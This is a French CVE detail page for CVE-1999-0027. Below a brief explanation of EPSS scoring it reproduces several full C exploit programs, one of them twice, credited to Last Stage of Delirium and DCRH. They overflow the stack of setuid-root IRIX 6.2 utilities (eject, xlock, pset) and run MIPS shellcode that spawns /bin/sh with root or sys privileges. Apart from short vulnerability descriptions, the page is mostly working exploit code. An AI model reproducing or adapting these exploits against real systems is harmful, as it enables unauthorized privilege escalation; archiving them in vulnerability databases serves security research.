CVE-1999-0027 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* copyright by */ /* Last Stage of Delirium, Dec 1996, Poland*/ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #define BUFSIZE 2068 #define OFFS 800 #define ADDRS 3 #define ALIGN 0 #define ALIGN2 4 char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c"; char nop[]="\x24\x0f\x12\x34"; void run(unsigned char *buf) { execl("/usr/sbin/eject","lsd",buf,NULL); printf("execl failed\n"); } char jump[]="\x03\xa0\x10\x25\x03\xe0\x00\x08\x24\x0f\x12\x34\x24\x0f\x12\x34"; main(int argc, char *argv[]) { char *buf, *ptr, addr[8]; int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN; int i, noplen=strlen(nop); if (argc >1) bufsize=atoi(argv[1]); if (argc >2) offs=atoi(argv[2]); if (argc >3) addrs=atoi(argv[3]); if (argc >4) align=atoi(argv[4]); if (bufsize<strlen(asmcode)) { printf("bufsize too small, code is %d bytes long\n", strlen(asmcode)); exit(1); } if ((buf=malloc(bufsize+(ADDRS<<2)+noplen+1))==NULL) { printf("Can't malloc\n"); exit(1); } *(int *)addr=(*(unsigned long(*)())jump)()+offs; printf("address=%p\n",*(int *)addr); strcpy(buf,nop); ptr=buf+noplen; buf+=4-align; for(i=0;i<bufsize;i++) *ptr++=nop[i%noplen]; memcpy(ptr-strlen(asmcode),asmcode,strlen(asmcode)); for(i=0;i<(addrs<<2);i++) *ptr++=addr[i%sizeof(int)]; *ptr=0; printf("buflen=%d\n", strlen(buf)); fflush(stdout); ptr-=addrs<<2; *(int *)addr+=(0x7fff350c-0x7fff31e8)+(4*100)+ALIGN2; for(i=0;i<64;i++) *ptr++=addr[i&3]; /* gp value is set here */ ptr=buf+ALIGN+(0x7fff2f00-0x7fff2ce8)-24; *(int *)addr=(*(unsigned long(*)())jump)()+OFFS+(0x7fff350c-0x7fff31e8-4)+ALIGN2+32+32412; for(i=0;i<64;i++) *ptr++=addr[i&3]; run(buf); } ------------------------------------------------------------------------------------ /* copyright by */ /* Last Stage of Delirium, Dec 1996, Poland*/ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #define BUFSIZE 2072 #define OFFS (800+512+128) #define ADDRS 0x100 #define ALIGN 2 char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c"; char nop[]="\x24\x0f\x12\x34"; void run(unsigned char *buf) { execl("/usr/bin/X11/xlock","lsd","-name",buf,NULL); printf("execl failed\n"); } char jump[]="\x03\xa0\x10\x25\x03\xe0\x00\x08\x24\x0f\x12\x34\x24\x0f\x12\x34"; main(int argc, char *argv[]) { char *buf, *ptr, addr[8]; int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN; int i, noplen=strlen(nop); if (argc >1) bufsize=atoi(argv[1]); if (argc >2) offs=atoi(argv[2]); if (argc >3) addrs=atoi(argv[3]); if (argc >4) align=atoi(argv[4]); if (bufsize<strlen(asmcode)) { printf("bufsize too small, code is %d bytes long\n", strlen(asmcode)); exit(1); } if ((buf=malloc(bufsize+(ADDRS<<2)+noplen+1))==NULL) { printf("Can't malloc\n"); exit(1); } *(int *)addr=(*(unsigned long(*)())jump)()+offs; printf("address=%p\n",*(int *)addr); strcpy(buf,nop); ptr=buf+noplen; buf+=4-align; for(i=0;i<bufsize;i++) *ptr++=nop[i%noplen]; memcpy(ptr-strlen(asmcode),asmcode,strlen(asmcode)); for(i=0;i<(addrs<<2);i++) *ptr++=addr[i%sizeof(int)]; *ptr=0; printf("buflen=%d\n",strlen(buf)); fflush(stdout); /* gp value is set here */ ptr=buf+ALIGN+(0x7fff22c0-0x7fff1ea0); *(int *)addr=(*(unsigned long(*)())jump)()+OFFS+(0x7fff3828-0x7fff3468)+32476; for(i=0;i<4;i++) *ptr++=addr[i&3]; run(buf); } ------------------------------------------------------------------------------------ /* copyright by */ /* Last Stage of Delirium, Dec 1996, Poland*/ /* This one gives you egid=0(sys) */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #define BUFSIZE 4172 #define OFFS 816 #define ADDRS 8 #define ALIGN 3 #define ALIGN2 1 char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c"; /* char nop[]="\x24\x0f\x12\x34"; */ char nop[]="\x01\x20\x48\x25"; void run(unsigned char *buf) { execl("/sbin/pset","lsd","-s","666",buf,NULL); printf("execl failed\n"); } char jump[]="\x03\xa0\x10\x25\x03\xe0\x00\x08\x24\x0f\x12\x34\x24\x0f\x12\x34"; /* unsigned long get_sp(void) { __asm__("or $2,$sp,$0"); } */ main(int argc, char *argv[]) { char *buf, *ptr, addr[8]; int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN; int i, noplen=strlen(nop); if (argc >1) bufsize=atoi(argv[1]); if (argc >2) offs=atoi(argv[2]); if (argc >3) addrs=atoi(argv[3]); if (argc >4) align=atoi(argv[4]); if (bufsize<strlen(asmcode)) { printf("bufsize too small, code is %d bytes long\n", strlen(asmcode)); exit(1); } if ((buf=malloc(bufsize+(ADDRS<<2)+noplen+1))==NULL) { printf("Can't malloc\n"); exit(1); } *(int *)addr=(*(unsigned long(*)())jump)()+offs; printf("address=%p\n", *(int *)addr); strcpy(buf,nop); ptr=buf+noplen; buf+=align; for(i=0;i<bufsize;i++) *ptr++=nop[i%noplen]; memcpy(ptr-strlen(asmcode),asmcode,strlen(asmcode)); for(i=0;i<ALIGN2;i++) *ptr++=nop[i%noplen]; for(i=0;i<(addrs<<2);i++) *ptr++=addr[i%sizeof(int)]; *ptr=0; printf("buflen=%d\n", strlen(buf)); fflush(stdout); run(buf); } // milw0rm.com [1997-05-25]

// source: https://www.securityfocus.com/bid/351/info A vulnerability exists in the eject program shipped with Irix 6.2 from Silicon Graphics. By supplying a long argument to the eject program, it is possible to overwrite the return address on the stack, and execute arbitrary code as root. Eject is normally used to eject removeable media from the system, and as such is setuid root to allow for any user at the console to perform eject operations. /* /usr/sbin/eject exploit by DCRH 25/5/97 * * Tested on: R8000 Power Challenge (Irix64 6.2) * * Exploit doesn't work on Irix 5.x due to stack position * Irix 6.3 does not appear to be vulnerable * * compile as: cc -n32 eject.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #define NUM_ADDRESSES 80 #define BUF_LENGTH 400 #define EXTRA 200 #define OFFSET -0x128 #define GP_OFFSET 32412 #define IRIX_NOP 0x03e0f825 /* move $ra,$ra */ #define u_long unsigned u_long get_sp_code[] = { 0x03a01025, /* move $v0,$sp */ 0x03e00008, /* jr $ra */ 0x00000000, /* nop */ }; u_long irix_shellcode[] = { 0x24041234, /* li $4,0x1234 */ 0x2084edcc, /* sub $4,0x1234 */ 0x0491fffe, /* bgezal $4,pc-4 */ 0x03bd302a, /* sgt $6,$sp,$sp */ 0x23e4012c, /* addi $4,$31,264+36 */ 0xa086feff, /* sb $6,-264+7($4) */ 0x2084fef8, /* sub $4,264 */ 0x20850110, /* addi $5,$4,264+8 */ 0xaca4fef8, /* sw $4,-264($5) */ 0xaca6fefc, /* sw $4,-260($5) */ 0x20a5fef8, /* sub $5, 264 */ 0x240203f3, /* li $v0,1011 */ 0x03ffffcc, /* syscall 0xfffff */ 0x2f62696e, /* "/bin" */ 0x2f7368ff, /* "/sh" */ }; char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8]; void main(int argc, char **argv) { char *env[] = {NULL}; u_long targ_addr, stack; u_long *long_p; int i, code_length = strlen((char *)irix_shellcode)+1; u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code; stack = get_sp(); if (stack & 0x80000000) { printf("Recompile with the '-n32' option\n"); exit(1); } long_p =(u_long *) buf; targ_addr = stack + OFFSET; if (argc > 1) targ_addr += atoi(argv[1]) * 4; if (targ_addr + GP_OFFSET > 0x80000000) { printf("Sorry - this exploit for Irix 6.x only\n"); exit(1); } while ((targ_addr & 0xff000000) == 0 || (targ_addr & 0x00ff0000) == 0 || (targ_addr & 0x0000ff00) == 0 || (targ_addr & 0x000000ff) == 0) targ_addr += 4; for (i = 0; i < NUM_ADDRESSES/sizeof(u_long); i++) *long_p++ = targ_addr + NUM_ADDRESSES/2; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = IRIX_NOP; for (i = 0; i < code_length/sizeof(u_long); i++) *long_p++ = irix_shellcode[i]; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ = targ_addr + GP_OFFSET; *long_p = 0; printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr); execle("/usr/sbin/eject", "eject", buf, 0, env); perror("execl failed"); }

// source: https://www.securityfocus.com/bid/351/info A vulnerability exists in the eject program shipped with Irix 6.2 from Silicon Graphics. By supplying a long argument to the eject program, it is possible to overwrite the return address on the stack, and execute arbitrary code as root. Eject is normally used to eject removeable media from the system, and as such is setuid root to allow for any user at the console to perform eject operations. /* copyright by */ /* Last Stage of Delirium, Dec 1996, Poland*/ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #define BUFSIZE 2068 #define OFFS 800 #define ADDRS 3 #define ALIGN 0 #define ALIGN2 4 char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c"; char nop[]="\x24\x0f\x12\x34"; void run(unsigned char *buf) { execl("/usr/sbin/eject","lsd",buf,NULL); printf("execl failed\n"); } char jump[]="\x03\xa0\x10\x25\x03\xe0\x00\x08\x24\x0f\x12\x34\x24\x0f\x12\x34"; main(int argc, char *argv[]) { char *buf, *ptr, addr[8]; int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN; int i, noplen=strlen(nop); if (argc >1) bufsize=atoi(argv[1]); if (argc >2) offs=atoi(argv[2]); if (argc >3) addrs=atoi(argv[3]); if (argc >4) align=atoi(argv[4]); if (bufsize<strlen(asmcode)) { printf("bufsize too small, code is %d bytes long\n", strlen(asmcode)); exit(1); } if ((buf=malloc(bufsize+(ADDRS<<2)+noplen+1))==NULL) { printf("Can't malloc\n"); exit(1); } *(int *)addr=(*(unsigned long(*)())jump)()+offs; printf("address=%p\n",*(int *)addr); strcpy(buf,nop); ptr=buf+noplen; buf+=4-align; for(i=0;i<bufsize;i++) *ptr++=nop[i%noplen]; memcpy(ptr-strlen(asmcode),asmcode,strlen(asmcode)); for(i=0;i<(addrs<<2);i++) *ptr++=addr[i%sizeof(int)]; *ptr=0; printf("buflen=%d\n", strlen(buf)); fflush(stdout); ptr-=addrs<<2; *(int *)addr+=(0x7fff350c-0x7fff31e8)+(4*100)+ALIGN2; for(i=0;i<64;i++) *ptr++=addr[i&3]; /* gp value is set here */ ptr=buf+ALIGN+(0x7fff2f00-0x7fff2ce8)-24; *(int *)addr=(*(unsigned long(*)())jump)()+OFFS+(0x7fff350c-0x7fff31e8-4)+ALIGN2+32+32412; for(i=0;i<64;i++) *ptr++=addr[i&3]; run(buf); }